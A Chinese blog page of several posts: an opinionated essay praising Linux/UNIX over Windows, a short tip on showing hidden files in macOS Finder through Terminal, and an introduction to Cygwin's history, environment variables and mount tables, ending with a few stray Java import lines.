以看看我的TeX网页,你就会知道为什么我可以完全离开 Windows.
Windows 能做的那些没用的事情 Linux 永远做不好
电脑游戏有些人说 Linux 下不能玩 Windows下所能得到的所有游戏。的确,Linux 下虽然也有
少量的游戏,比如 Quake。但是它没有 Counter Strike, 没有 Star Craft,……
并不是说电脑游戏不该玩,但是应该适可而止。电脑是用来处理事务,帮助你学习,解
决问题的工具,而不是一个玩具!整天沉迷于电脑游戏中,而不出去感觉外面的世界,
你会变得越来越冷酷,越来越缺乏人情味。你与真实的世界越来越远。
你可以在 CS 里杀人,你可以在 Tomb Raider 里探险,你甚至可以在 TonyHawk's
Pro Skaters 里滑板…… 但是 It's notreal!你虽然有很高的“反恐技巧”,但是遇
到歹徒的时候,你是那么的怯懦;你虽然控制 Laura伸手敏捷,但是你打篮球的时候怎
么总是被人断球?你虽然可以轻易的在 THPS 里作出一个 "360 kickflip tohangten
grind to fakie",但是你踩在自己的滑板上的时候还不会 ollie!
说回来,如果你偶尔玩一下电脑游戏未尝不可。但是世界上有远比 Windows+ PC 更好
的游戏方式。Sony 的 PlayStation2, SEGA 的 DreamCast, Nintendo 的N64,Namco
的街机……每一个都比 Windows游戏精彩,每一个都有如此高的3D性能,以至于
Pentium4, Itanium + GForce4 都无法与它们比美!
Linux的用户们都是关心解决世界的关键问题的份子,他们哪里有时间用自己的机器来
玩游戏啊?他们每天用Linux高效的做完自己的工作就到阳光下享受自然去了。要玩游
戏也是玩一些类似推箱子,贪吃蛇之类的智力小游戏。所以,你知道为什么Linux 几乎
没有游戏了吧?:)
“整理硬盘,优化系统”
这是一个非常有意思的话题,仅次于有关“病毒”的话题。相信很多Windows 用户都
有整理硬盘的经历。在很多 Windows用户眼里,“硬盘用久了,会出现碎片,速度会减
慢,需要一个程序来整理,整理硬盘的时候不要做其它工作”,这好像是天经地义的事情

我也曾经津津有味的看着 Norton Defrag一点一点的把我的硬盘排序,调整,用图形
的方式显示出来,然后报告:“100%没有碎片。你的硬盘现在已经达到最佳状态。” 我
现在才发觉我那时是多么的幼稚。
Linux 和 UNIX用户似乎从来没有“整理硬盘”这种说法呢?你觉得很奇怪吗?如果你
觉得很奇怪,那说明你的思想在某种程度上被微软的垃圾程序禁锢了。你需要明白,UN
IX的大型主机很多必须是一天24小时,一年365又1/4天不停运转的,要是每个星期都
要整理一次硬盘,在整理的时候几乎不能干任何事情,那是绝对行不通的!
Linux 机器根本不用整理硬盘,这就是为什么没有看到过 Linux用户整理硬盘。Linux
的文件系统是比 Windows 的 FAT, FAT32, NTFS高明得多的文件系统,它们不但可以
对文件设置权限,实施完全的保护,而且可以“越用越整齐”,“越用碎片越少”!你
应该把文件大部分放在 Linux 的分区,而不是 Windows 分区,因为它比Windows 分
区可靠得多。
还有更滑稽的事情就是有很多“Norton System Doctor”,“Windows优化大师”,“
超级兔仔注册表魔法”之类的程序存在,而且价格昂贵。似乎一个操作系统本来应该
有很多问题,需要别的厂商做程序来“优化”它,而且为了得到优化,你需要付钱!这些
问题 Linux 根本就没有,所以不需要什么优化。Linux内核本身就是高度优化的。
IDE有些人在抱怨为什么 Linux 没有一个良好的 IDE 开发环境。Linux现在已经有一
些IDE 了,但是总是有很多问题。你是不是正在寻找,正在期望 Linux某一天可以有一
个VC那样的开发环境?你有没有发现你正在进入微软给你设下的怪圈?你为什么一定要
用 IDE?你说:“IDE 开发迅速,调试方便,适合大型程序……”那说明微软的程序
在你脑子里已经比较根深蒂固,你需要好好清醒一下了,看看我来告诉你。
高明的 UNIX 程序员不用 IDE,IDE 从来就是给初级 Windows程序员用的。
你看看大型的 UNIX 程序,包括 Linux 内核,各种网络服务程序,Xwindow程序在
内,哪一个是 IDE 搞出来的?我们实验室的 EDA 程序也没有一个是 IDE弄的,我还知道
Candence, Synopsys,Mentor 的高性能的图形界面 EDA 程序也都不是 IDE写的。你
信不信,微软的人在写 Windows 本身的时候也根本不用 IDE!
有一次某杂志采访一些出名的 Linux 内核程序员,包括 Linus在内,没有一个人用
IDE,有的人用 VIM,有的用 Emacs,只有 Linus 说“GNU Emacs isevil”,但是其实
他用的是一种跟 Emacs 有同样键绑定功能的MicroEmacs。大家都是用编辑器编辑了程
序文件,然后用 make 这样的自动工具调用 gcc编译器完成编译工作的。
我以前也编过 Windows 程序:应用程序,驱动程序。但是我没有用 VC 的IDE。Linux
教育了我,我会在命令行调用 CL,我知道 CL 才是 VC 的编译器。我可以在cygwin
的 Makefile 里使用 CL。我还知道 CL的参数都有什么用处。但是这些不是一个从一
开头就用 IDE 的人能很快理解到的。
我相信: IDE is evil。我有一些用 Windows 的 IDE写程序的朋友,他们对那套东西
已经很精通了。但是我却惊奇的发现,他们竟然把编译器和汇编器的概念都分不清楚,甚
至有的人连“编辑器”和“编译器”都搞混淆了!他们只知道在一个窗口里输入了代码
,点击一个按钮就可以编译程序,但是这里面到底是怎么工作的,他们不知道!他们被
盖在上面的窗口挡住了视线,甚至会以为那个按钮就是编译器!
他们对那些 IDE的热键背的滚瓜烂熟,但是我却看到他们在一个函数一个函数的把别
人的 ANSI 风格的代码变成 VC 的风格。想想这件事在 VIM里有多么简单,一瞬间就可
以搞定。
为什么 UNIX 程序员不用 IDE?明白了这个道理你就能体会到 UNIX的设计思想了。首
先,一个 IDE 集成了编辑器,编译器,汇编器,调试器,跟踪器……这个编辑器功能
肯定比不上 VIM 或 Emacs,编译器比不上 GCC,汇编器比不上as,调试器比不上
gdb, ddd, 跟踪器比不上 strace, ltrace,truss。你得到的是一套整合的很好的低能的
程序。如果你对调试器的功能不满意,你只好换用另外一套 IDE,但是这套IDE 的热
键,菜单,编辑器功能,按钮……跟原来那个有很大不同。你不得不花很多时间来熟悉新
的环境,而不能保持原来的某些东西。
而在 UNIX 下就不一样了。你可以用你最喜欢的 VIM 编辑程序,你在 VIM里可以调用
GNU make,make 可以调用 gcc, ld, ... 实际上 make 能帮你很多忙。make的出错信
息可以被 VIM 捕获,VIM 能帮你在源程序里定位。你如果喜欢 icc,你可以让 make
用icc 而不是 gcc。你如果觉得 gdb 跟踪变量时比较麻烦,你可以用 ddd来显示各种数
据结构之间的关系。你还可以在 Emacs 里调用gdb,那样就可以同步显示源代码了。
而且 VIM 和 Emacs 还可以编辑很多其它东西,比如信件,LaTeX文档,HTML,配置文件
… 你不用另外找一个什么编辑器来干这些杂活了。很多程序比如 Mutt, tin都可以
在内部使用 VIM,这样就更方便了。
释放内存
我在 Windows下做过的一件最傻的事情莫过于“释放内存”了。有一天我看到一个
Windows程序说:“这个程序可以帮你把大量内存释放出来给一个很大的程序用。”我试
了一下,居然一下把我的 64M 内存释放出来48M!我高兴极了。现在想一想,那是多
么傻的事情,那么多的内存留着干什么?不用白不用啊!一个操作系统,居然还需要别人
写的程序来释放内存,那是什么样的操作系统?
在 Linux 下用 free命令,你会发现你的内存几乎每时每刻都快要被用完。那是因为
Linux 把大部分内存用来作为磁盘缓冲了。Linux 有比 Windows先进的磁盘缓冲技
术。
你有没有发现你往硬盘写数据的时候,很快就完成了?那是因为 Linux在内存里有很
多磁盘缓冲区,你要写到硬盘上的数据先被写到了这些内存里,然后 Linux就告诉你
“拷贝完成”,当你马上又想删除刚才写入的某些数据时,Linux只是把数据从内存里移除
,然后报告“删除完成”。在一定的间隔时间后,Linux才把数据写回硬盘,这样不但
高效,避免了多次硬盘操作,而且减少了文件的不连续,也就是减少了“碎片”。
Windows当然也有磁盘缓冲,但是由于它内存管理的低效率,它不敢把大量内存都用来作为
磁盘缓冲,因为它没有能力在用的时候随时把内存收回来。
Linux 能干的高级的事情 Windows都干不了当然有很多事情是Linux/UNIX的专利了。
因为 Windows 只能装在 PC 机上,好像以前
也有 Alpha 可以使用 Windows NT,但是就是没见到有人用。PC机的能力是很低的,像
我们编程序处理 NP-Hard 问题的人,用 Windows的机器显然速度不够,而且有时一个问
题算上几天甚至几个星期,Windows机器是以“死机”著称的,我们怎么能放心?
所以几乎所有科学计算程序,EDA 程序,高性能图像处理程序都不是Windows 的。他
们有时也会移植一些给 Windows,但是常常降低那些程序的能力。你比较过Windows 版
本的 Mathematica 和 Linux 的有什么区别吗?
IBM 制造的最大的并行计算机有 8000 多个处理器,Windows不可能有能力管理这么多
处理器,它用的是什么操作系统?答案是 Linux。
《泰坦尼克号》电影里的三维动画,那么细腻逼真,Windows机器能做出来吗?不行。
那也是 Linux 机器做的。
民航总局用来训练地情人员的虚拟现实训练设备,Windows当然无能为力。那都是商业
的 IRIX 机器。
UNIX 是最早支持 TCP/IP网络协议的系统。它上面有很多可以互相协作的网络服务程
序,它们经过多年的使用和修订,已经达到比较完善的程度。而就在1997年,微软的比尔
盖茨还在扬言:“Internet 是没有前途的。”微软的这个“远见卓识”大家应该都已
见识,它后来加上的网络服务程序IIS漏洞之多,让公安部都频频发出警报,大家也是
见识了的。
其实你知道了,Windows 没有一样有用的事情能比 UNIX 干的更好。
Linux 干不了的有用的事情 Windows 照样干不了
当然 Linux不是万能的。它也有不能干的事情,电脑也有干不了的事情。但是Linux
干不了的事情,Windows肯定也干不了。这些事情就是我们需要探索,需要努力的事情
了。在你探索的过程中,Linux 必定是你的好伙伴。
UNIX 的真谛何在?
让聪明人干任何他们想干的事情。
UNIX 的一个特点就是非常高的灵活性,Xwindow也具有这种灵活性。这种灵活性体现
在哪里呢?
UNIX的程序一般都有很多参数,不管你现在用的着用不着,总有人需要某些参数。它
们的行为很多都可以用配置文件来改变。比如 GNU bash,通常缺省的命令行输入方式是
Emacs 方式,但是只要我编辑一个 .inputrc 文件,就可以把它变成 vi的输入方式,而
且我还可以自己绑定键序列到某些操作。我可以用 shopt来设置它的很多特点,比如
是否进行通配符扩展,是否可以把一个变量当作一个目录来cd,是否可以自动纠正某些明
显的目录名打字错误 ……
UNIX程序设计的思想是提供给用户“机制”,而不限制用户制定“政策”。这是一个
重要的尊重用户的作法。
我们再来看看 Xwindow。Xwindow是一个出色的设计,它把显示服务器和客户程序分开
。一个显示上既可以显示本机上的程序,也可以显示别的机器上的 X程序,而它们都
遵守你的窗口管理器的统一指挥,它们之间可以方便的传送剪贴版数据,各种事件……
比如有时我的 XFree86 上会出现四个不同机器上的XTerm,两个不同机器上的 GVIM,
…… 它们统一受本机上的 FVWM 指挥。
Xwindow 程序都具有很多很多命令行参数和 resource参数。你可以随意的在命令行或
者 .Xdefaults 文件设置所有的颜色,字体,尺寸…… 而且如果你用 xrdb把
.Xdefaults导入到根窗口,那么其它机器上没有经过配置的同样的程序,显示到你的机器上
的时候也会遵守同样的外观规定。
Xwindow 的窗口具有 Property,也就是一些可以自己定义的共享数据(原子)。正是因
为这些 Property 的存在,使得 Xwindow 具有无比强大的生命力。X的窗口管理器和其
它客户程序之间并没有统一的协议,但是后来出现了ICCCM(客户程序间通信规范),这个
规范就是通过 property定义的。现在又有人定义了一套“扩展的窗口协议(EWM
Hints)”,使得 Xwindow 可以具有某些 Windows的特征,比如一个工具条程序可以告
诉窗口管理器:“这个屏幕下面被我占据了24个像素的空间,你最大化程序的时候不要
越过这个界线。”
一个强大的窗口管理程序比如FVWM,它收到这样的提示时,可以答应工具条程序的这
个要求,也可以不答应。一切选择的权力在于谁?当然是用户了!一切窗口乖乖听话,
FVWM 给予用户最大的尊重。
你想想,是不是有些 Windows 程序常常弹出一个窗口要你选择 "Yes orNo"?你不点
击它它就不下去。你觉不觉得你的程序在侵犯你的尊严?你是一个人,一个智慧的生物,
怎能受到一个程序如此的待遇?
还有就是很多 Windows程序把人当成傻瓜,而它是“智能程序”。比如,有一个程序
就是喜欢把你的每句话第一个字母都变成大写,我不说它是谁了,你遇到的时候就知道了
。如果连“一句话开头一个字母要大写”这么明显的问题都需要程序帮你纠正的话,人
脑还用来干什么?况且如果你故意想要不大写的话,那就更麻烦了,我楞是没有从它那
一大堆菜单里找到怎么关闭这个愚蠢的选项。
只有符号才能完全操纵计算机。
我们来说说很多初学 Linux 的用户。虽然他们在用Linux,但是他们打心眼儿里是觉
得Windows 的工作方式好,他们希望 Linux有一天能“像Windows那样”。你说:“我鼠
标一点,我菜单一拉,…… 就可以完成我的操作。”但是我要告诉你:“Linux 从来
没有摹仿 Windows,将来也不会。Linux 从诞生之日起,它的工作方式就比Windows
的先进。Linux属于能勇敢面对符号的人。只有符号才能完全操纵计算机。”
看看优秀的 UNIX 程序,XFree86, FVWM, VIM, Emacs, proftpd, Mutt,wget, tin,
...没有一个不是用配置文件来设置选项的。为什么这些程序没有方便的菜单可以用来
配置?难道它们的设计者就那么低能,连个图形配置界面也写不出来?
当然不是。因为图形界面配置方式的能力是极其有限的,而配置文件和程序语言的表达
能力却是无限的。用图形界面配置这些程序的话,如果你想达到配置文件的效果,你需
要成百上千的菜单,checkbox, radio button, ...到时候你根本没办法找到你需要修
改的地方了!而各个程序的配置文件的语法都有很多相似之处,一般就是一些命令,设
置一些变量,参数,……一旦用会了一个,其它的也就容易理解了。如果你用惯了
awk, sed, Perl,你会觉得那才是真正的自动化啊。
鼠标虽然是很好的工具,但是它的表达能力是有限的。你不可能光用鼠标就让电脑完全
明白你的意思,它毕竟只有3个按钮。看看我的MetaPost页你就能体会到鼠标的这一弱
点。所以我们虽然很喜欢鼠标,但是却不能完全依赖它。
各个小程序的完美配合
这就是UNIX最重要的特点了,它就是UNIX设计的思想。让每个程序只具有一项专门的能
力,然后让它们合作。Xwindow也继承了这种好传统。
这恐怕就是Windows和其它操作系统望尘末及的地方了。UNIX程序设计之统一,配合之
完美,真使我难以置信!shell, grep, find, awk, sed, make, Perl,Emacs, vi,
tin, Mutt, ... 它们是那么的具有一致性!你一旦学会了 sed的正则表达式,其它程序
基本上都能用了。你一旦学会了 vi 和 VIM,你会发现它的操作是那么的有规律性,似
乎vi的设计者在几十年前就已经设计好了 VIM在今天的完美而统一的操作方式!而且v
i的操作还体现在 Mutt, tin 等很多程序中。你甚至可以把 bash 设置为 vi的输入方
式来输入命令行,我就是这么做的。一个程序可以调用另外一个程序来得到数据,可以
把数据交给它处理后返回来,可以在自己的窗口里“嵌入”另外一个程序。
在 Windows 和其它非 UNIX 操作系统中,这种合作是非常困难的。我曾经在Windows
下使用 Perl来进行一些自动工作。但是 Windows的文件操作,管道是如此的不稳定,
程序之间基本不能合作。你别想在 Visual Studio 窗口里面嵌入 UltraEdit编辑器,
你别想用一个 expect 脚本来控制 telnet 到水木清华BBS,这就是为什么 helloooo
诞生在 Linux 而不是 Windows。我曾经试图从 Windows + Exceed +SecureCRT ssh 登
录到 Sun 机器,然后通过 ssh 的隧道(X11 tunnel)把 X 程序传到 Exceed上运行,但
是搞了两天都没有成功!而在 Linux下这个事情根本就是不用怎么配置的,OpenSSH 和
XFree86 本来就是完美结合,只要打开 ssh 的 "forward X11"选项就什么都搞定了。
Windows的程序都是大而全,大而杂,所有的电子邮件程序都需要自己提供编辑器,自
己发送和收取邮件,自己显示邮件的附件。每一个BBS程序都提供自己的Virtual
Terminal, 自己的通讯代码。每一个 IDE都自己提供编辑器,编译器,汇编器,调试器。人
们为了使用一种新的程序,需要适应所有这些它提供的界面,而不能使用自己喜欢的编
辑器的键绑定,菜单组织…… 不能 DIY!
你要知道,最高级的电脑是定做的,自己想要什么什么CPU,什么主板,多少内存,什
么硬盘,键盘,鼠标,显示器都是自己选择的。最高级的滑板,自己想要什么牌子的版面
,什么牌子的沙,什么桥,什么轮子,什么轴承,也都是自己选的。最高级的乒乓球拍
,木板,胶皮,海绵,胶水都是可以自己选择…… 而用 Windows程序,你得到的是大
杂烩,就像你去买“品牌机”,只有那么几种配置,而且附带很多你不需要的软件和服
务;就像你去买组装好的滑板,你想要大一点的轮子和窄一点的板子,但是你没有这种
选择余地!Windows程序就相当于最廉价,最次的滑板。但是它却会花你更多的钱,因
为一旦一个部件坏了,或者你不喜欢了,你不能另外找一个好的换掉它,你必需重新买
全套配件!
而 UNIX 和 Xwindow 就是高档的“组装货”。比如我用 Mutt的时候,我可以用 VIM
也可以用 pico 来编辑邮件,我可以用 ImageMagick 也可以用 xv来显示附件里的图
片,我可以用 lynx 把 HTML 附件转成文本嵌入窗口中,我也可以把 HTML附件交给
Mozilla 图形显示。我可以让 GnuPG帮我把邮件进行数字签名和加密,我也可以用其
它PGP 程序。我想让 Postfix 而不是 sendmail 帮我发出邮件,我想让fetchmail 帮我
收邮件,转发给 postfix,然后被我自己写的Perl过滤器处理……这一切我都可以办
到!
我可以选择我最喜欢的专门的程序来完成专门的工作,然后把它们结合在一起,我也可
以分别得到它们的好处。
结论
我写这么多的目的是什么?我希望喜欢 Linux 的朋友,完全清除微软和Windows 灌输
在你脑子里的谬论,别再相信它们所谓的“新技术”,别再追赶Windows,因为追赶
Windows=倒退。马克思有一个思想很重要,“新生事物并不一定是在最近出现的。”
UNIX,Xwindow, TeX 虽然都比 Windows先出现,但是它们才是先进生产力的代表。我
们要清楚的认识到什么才是真正的现代化,什么才是真正的自动化。
勇敢的拿起像 bash, FVWM, VIM, Emacs, Mutt, lftp ……这样强大的程序,不要再
埋怨“Linux 为什么不能像 Windows那样”,不要再浪费时间试用这样那样的程序,不
要再忙着升级。是你需要改变而不是 Linux 和 UNIX,Linux现在就可以成为你的好朋友
。你需要认识它,了解它,信任它,才能完全的靠它来高效的工作,省出时间来处理世
界上更加值得处理的事情。
附录: 我用来处理日常事务的 Linux 程序
这里给出一些推荐使用的可以处理一般事情的程序。至于你的专业上要用到的科学和工
程软件比如 Matlab, Mathematica, Maple, HSpice, Design Compiler,…… 还有其
它物理上的,化学上的,生物上的 …… 都必然有 Linux 和 UNIX的版本。当然他们很
多不是免费的,不要总是觉得什么都应该免费,它们是经过很多人辛勤劳动的产物,是可
靠的程序,他们物有所值。
下面列出我常用的一些 Linux程序。一个列表里可能有很多,那是为了方便你来选
择,我列出了比较信得过的。但其实很多只有第一个是我真正在用的。我不喜欢试用程序。
Shell: bash。我使用 bash 的 vi 命令行方式。
编辑器: VIM, Emacs
程序开发: GCC, make, ld, Scheme48, j2sdk, Perl, Python, Tcl/Tk...
论文,幻灯工具:LaTeX, ConTeXt
绘图工具:MetaPost。这个语言太强了,以至于我只用它了。你不熟悉的话可以用
dia来画一些流程图之类的图片。
图像处理:ImageMagick。其中的 import 程序可以屏幕抓图,convert程序可以转换
图像格式,display可以显示图片和简单编辑(缩放,换质量,转格式,简单绘图,简单
虑镜)。通常我就这么点需要。如果你要更强大的图像工具可以用 Gimp,它几乎和
Photoshop 差不多。
自动管理工具:make。我可以用make来自动编译程序,自动编译文档,自动更新插图…
… 全自动,而且不会重复劳动。
加密程序:GnuPG。我的 PGP 密钥就是它搞出来的,我用了 2048位加密。
打包,压缩程序。什么都有: tar, gzip, bzip2, zip, rar, ...
虚拟光驱程序。Linux 不需要虚拟光驱程序,直接 mount 就行了。
ftp 服务器:proftpd, vsftpd
WWW 服务器:apache。(我一般没有开)
ftp 客户程序:lftp
自动下载工具:wget
虚拟终端:rxvt, xterm, gnome-terminal, mlterm, ...
X server: XFree86
窗口管理器:FVWM。编译加入了 libstroke。
中文输入:XSIM。被我修改过以适应 FVWM 的需要。另外推荐你还可以用SCIM。
email 处理:Mutt + Postfix + fetchmail
看 PDF, PS, DJVU 文件:Acrobat Reader, xpdf, GhostScript, gv,djvu工具包和
netscape 插件。
看CAJ文档。我从来不看CAJ之类的文档,如果找不到PDF或PS,直接去图书馆借最好。
看网页:Mozilla, Phoenix, lynx。Mozilla-Xft 的显示效果比 IE好很多。
英汉字典:IBM智能词典,星际译王。
编辑网页:我用 VIM 直接写HTML。你如果想要图形方式的可以用其它的比如
screem,BlueFish。
登录其它 UNIX, Linux 机器:openSSH, telnet。 openSSH还可以把其它机器的 X 程
序通过 ssh 加密的隧道传到我机器上显示。
上BBS:rxvt(或任何一种终端) + telnet + chatbot(helloooo机器人的程序)
QQ, ICQ: 我没有 QQ 或 ICQ。不过你可以用 Gaim, 它同时支持 QQ, ICQ和很多其它
的即时通信方式。ICQ 用户也可以用 Licq。
放录像:MPlayer, RealPlayer。MPlayer 太好了,直接就可以放 VCD, DVD,divx,
wma, wmv ... 用 Windows 的同学都很羡慕我,说 Windows要放这个需要大堆插件。rm
最好还是用 realplayer 放,它也是免费的。
放音乐: xmms(mp3,ogg都可以), mpg321(放mp3), ogg123(放ogg).
看 Word 文档。请 Word 用户把文档全部转为 PDF.
继续阅读...

用终端列出某个文件夹下隐含文件或文件夹的命令是:
cd 文件夹路径
回车后,输入:
ls -a
迫使Mac OS X系统将所有隐含文件或文件夹都显示出来,则可以用终端采用以下命令:

第一个命令:defaults write com.apple.finder AppleShowAllFiles TRUE
回车后,迫使系统将用户资源库里Preferences文件夹里com.apple.finder.plist文件中AppleShowAllFiles参数值改成TRUE
第二个命令:killall Finder
回车后,该命令迫使Finder重起来刷新Finder内容。
如果不使用命令,也可以用系统安装盘先安装XCode Tools,然后在该用户资源库里Preferences文件夹里找到com.apple.finder.plist,双击该文件后,系统会用Xcode Tools里所带的Property List Editor打开,找到AppleShowAllFiles,并将数值修改为TRUE。如果该文件里没有AppleShowAllFiles一项,可以自己在Root下面添加。修改以后,可以从屏幕上方工具栏苹果菜单中找到强制重起,选择Finder,然后点击重起键。
如果想让系统将隐含文件重新隐藏起来,将AppleShowAllFiles参数值改成FALSE,然后重起Finder.
继续阅读...

Cygwin 简介
cygwin是一个在windows平台上运行的unix模拟环境,是cygnus solutions公司开发的自由软件(该公司开发了很多好东西,著名的还有eCos,不过现已被Redhat收购)。它对于学习unix/linux操作环境,或者从unix到windows的应用程序移植,或者进行某些特殊的开发工作,尤其是使用gnu工具集在windows上进行嵌入式系统开发,非常有用。随着嵌入式系统开发在国内日渐流行,越来越多的开发者对cygwin产生了兴趣。

cygnus当初首先把gcc,gdb,gas等开发工具进行了改进,使他们能够生成并解释win32的目标文件。然后,他们要把这些工具移植到windows平台上去。一种方案是基于win32 api对这些工具的源代码进行大幅修改,这样做显然需要大量工作。因此,他们采取了一种不同的方法——他们写了一个共享库(就是cygwin dll),把win32 api中没有的unix风格的调用(如fork,spawn,signals,select,sockets等)封装在里面,也就是说,他们基于win32 api写了一个unix系统库的模拟层。这样,只要把这些工具的源代码和这个共享库连接到一起,就可以使用unix主机上的交叉编译器来生成可以在windows平台上运行的工具集。以这些移植到windows平台上的开发工具为基础,cygnus又逐步把其他的工具(几乎不需要对源代码进行修改,只需要修改他们的配置脚本)软件移植到windows上来。这样,在windows平台上运行bash和开发工具、用户工具,感觉好像在unix上工作。

Cygwin 历史编辑本段

Cygwin始于1995年,最初作为Cygnus工程师Steve Chamberlain的一个项目。当时Windows NT和Windows 95将COFF作为目标代码,而GNU已经支持x86和COFF,以及C语言库newlib。这样至少在理论上,可以将GCC重定向,作为cross compiler,从而产生能在Windows上运行的可执行程序。在后来的实践中,这很快实现了。

接下来的问题是如何在Windows系统中引导编译器,这需要对Unix的足够模拟,以使GNU configure的shell script可以运行,这样就用到像bash这样的shell,进而需要Fork和standard I/O。Windows含有类似的功能,所以Cygwin库只需要进行翻译调用、管理私有数据,比如文件描述符。

1996年后,由于看到cygwin可以提供Windows系统上的Cygnus嵌入式工具(以往的方案是使用DJGPP),其他工程师也加入了进来。特别吸引人的是,Cygwin可以实现three-way cross-compile,例如可以在Sun工作站上build,如此就形成Windows-x-MIPS cross-compiler,这样比单纯在PC上编译要快不少。1998年起,Cygnus开始将Cygwin包作为产品来提供。
Cygwin 机理编辑本段cygnus当初首先把gcc,gdb,gas等开发工具进行了改进,使他们能够生成并解释win32的目标文件。然后,他们要把这些工具移植到windows平台上去。一种方案是基于win32 api对这些工具的源代码进行大幅修改,这样做显然需要大量工作。因此,他们采取了一种不同的方法??他们写了一个共享库(就是cygwin dll),把win32 api中没有的unix风格的调用(如fork,spawn,signals,select,sockets等)封装在里面,也就是说,他们基于win32 api写了一个unix系统库的模拟层。这样,只要把这些工具的源代码和这个共享库连接到一起,就可以使用unix主机上的交叉编译器来生成可以在windows平台上运行的工具集。以这些移植到windows平台上的开发工具为基础,cygnus又逐步把其他的工具(几乎不需要对源代码进行修改,只需要修改他们的配置脚本)软件移植到windows上来。这样,在windows平台上运行bash和开发工具、用户工具,感觉好像在unix上工作。
关于cygwin实现的更详细描述,请参考http://cygwin.com/cygwin-ug-net/highlights.html.
Cygwin 安装设置cygwin编辑本段安装


要安装网络版的cygwin,可以到http://cygwin.com,点击"Install Cygwin Now!"。这样会先下载一个叫做setup.exe的GUI安装程序,用它能下载一个完整的cygwin。按照每一屏的指示可以方便的进行安装。


环境变量

开始运行bash之前,应该设置一些环境变量。cygwin提供了一个.bat文件,里面已经设置好了最重要的环境变量。通过它来启动bash是最安全的办法。这个.bat文件安装在cygwin所在的根目录下。 可以随意编辑该文件。
CYGWIN变量用来针对cygwin运行时系统进行多种全局设置。开始时,可以不设置CYGWIN或者在执行bash前用类似下面的格式在dos框下把它设为tty
C:\> set CYGWIN=tty notitle glob

PATH变量被cygwin应用程序作为搜索可知性文件的路径列表。当一个cygwin进程启动时,该变量被从windows格式(e.g. C:\WinNT\system32;C:\WinNT)转换成unix格式(e.g., /WinNT/system32:/WinNT)。如果想在不运行bash的时候也能够使用cygwin工具集,PATH起码应该包含x:\cygwin\bin,其中x:\cygwin 是你的系统中的cygwin目录。
HOME变量用来指定主目录,推荐在执行bash前定义该变量。当cygwin进程启动时,该变量也被从windows格式转换成unix格式,例如,作者的机器上HOME的值为C:\(dos命令set HOME就可以看到他的值,set HOME=XXX可以进行设置),在bash中用echo $HOME看,其值为/cygdrive/c.
TERM变量指定终端型态。如果美对它进行设置,它将自动设为cygwin。
LD_LIBRARY_PATH被cygwin函数dlopen()作为搜索.dll文件的路径列表,该变量也被从windows格式转换成unix格式。多数Cygwin应用程序不使用dlopen,因而不需要该变量。


改变cygwin的最大存储容量


Cygwin程序缺省可以分配的内存不超过384 MB(program+data)。多数情况下不需要修改这个限制。然而,如果需要更多实际或虚拟内存,应该修改注册表的HKEY_LOCAL_MACHINE或HKEY_CURRENT_USER区段。田家一个DWORD键heap_chunk_in_mb并把它的值设为需要的内存限制,单位是十进制MB。也可以用cygwin中的regtool完成该设置。例子如下:
regtool -i set /HKLM/Software/Cygnus\ Solutions/Cygwin/heap_chunk_in_mb 1024
regtool -v list /HKLM/Software/Cygnus\ Solutions/Cygwin
Cygwin 使用cygwin编辑本段这一段讲一下cygwin和传统unix系统的不同之处。
映射路径名


cygwin同时支持win32和posix风格的路径,路径分隔符可以是正斜杠也可以是反斜杠。还支持UNC路径名。(在网络中,UNC是一种确定文件位置的方法,使用这种方法用户可以不关心存储设备的物理位置,方便了用户使用。在Windows操作系统,Novell Netware和其它操作系统中,都已经使用了这种规范以取代本地命名系统。在UNC中,我们不用关心文件在什么盘(或卷)上,不用关心这个盘(或卷)所在服务器在什么地方。我们只要以下面格式就可以访问文件:
\\服务器名\共享名\路径\文件名
共享名有时也被称为文件所在卷或存储设备的逻辑标识,但使用它的目的是让用户不必关心这些卷或存储设备所在的物理位置。)
符合posix标准的操作系统(如linux)没有盘符的概念。所有的绝对路径都以一个斜杠开始,而不是盘符(如c:)。所有的文件系统都是其中的子目录。例如,两个硬盘,其中之一为根,另一个可能是在/disk2路径下。
因为许多unix系统上的程序假定存在单一的posix文件系统结构,所以cygwin专门维护了一个针对win32文件系统的内部posix视图,使这些程序可以在windows下正确运行。在某些必要的情况下,cygwin会使用这种映射来进行win32和posix路径之间的转换。


cygwin mount表

cygwin中的mount程序用来把win32盘符和网络共享路径映射到cygwin的内部posix目录树。这是与典型unix mount程序相似的概念。对于那些对unix不熟悉而具有windows背景的的人来说,mount程序和早期的dos命令join非常相似,就是把一个盘符作为其他路径的子目录。
路径映射信息存放在当前用户的cygwin mount表中,这个mount table 又在windows的注册表中。这样,当该用户下一次登录进来时,这些信息又从注册表中取出。mount 表分为两种,除了每个用户特定的表,还有系统范围的mount表,每个cygwin用户的安装表都继承自系统表。系统表只能由拥有合适权限的用户(windows nt的管理员)修改。
当前用户的mount表可以在注册表"HKEY_CURRENT_USER/Software/Red Hat, Inc./Cygwin/mounts v" 下看到。系统表 存在HKEY_LOCAL_MACHINE下。
posix根路径/缺省指向系统分区,但是可以使用mount命令重新指向到windows文件系统中的任何路径。cygwin从win32路径生成posix路径时,总是使用mount表中最长的前缀。例如如果c:被同时安装在/c和/,cygwin将把C:/foo/bar转换成/c/foo/bar.
如果不加任何参数地调用mount命令,会把Cygwin当前安装点集合全部列出。在下面的例子中,c盘是POSIX根,而d盘被映射到/d。本例中,根是一个系统范围的安装点,它对所有用户都是可见的,而/d仅对当前用户可见。
c:\> mount
f:\cygwin\bin on /usr/bin type system (binmode)
f:\cygwin\lib on /usr/lib type system (binmode)
f:\cygwin on / type system (binmode)
e:\src on /usr/src type system (binmode)
c: on /cygdrive/c type user (binmode,noumount)
e: on /cygdrive/e type user (binmode,noumount)
还可以使用mount命令增加新的安装点,用umount删除安装点。
当Cygwin不能根据已有的安装点把某个win32路径转化为posix路径时,cygwin会自动把它转化到一个处于缺省posix路径/cygdrive下的的一个安装点. 例如,如果Cygwin 访问Z:\foo,而Z盘当前不在安装表内,那么Z:\将被自动转化成/cygdrive/Z.
可以给每个安装点赋予特殊的属性。自动安装的分区显示为“auto”安装。安装点还可以选择是"textmode"还是 "binmode",这个属性决定了文本文件和二进制文件是否按同样的方式处理。


其他路径相关信息

cygpath工具提供了在shell脚本中进行win32-posix路径格式转换的能力。
HOME, PATH,和LD_LIBRARY_PATH环境变量会在cygwin进程启动时自动被从Win32格式转换成了POSIX格式(例如,如果存在从该win32路径到posix路径的安装,会把c:\cygwin\bin转为/bin)。
继续阅读...

import java.io.IOException;
import java.io.InputStream;
import javax.microedition.media.Manager;
import javax.microedition.media.MediaException;
import javax.microedition.media.Player;
import javax.microedition.midlet.MIDlet;
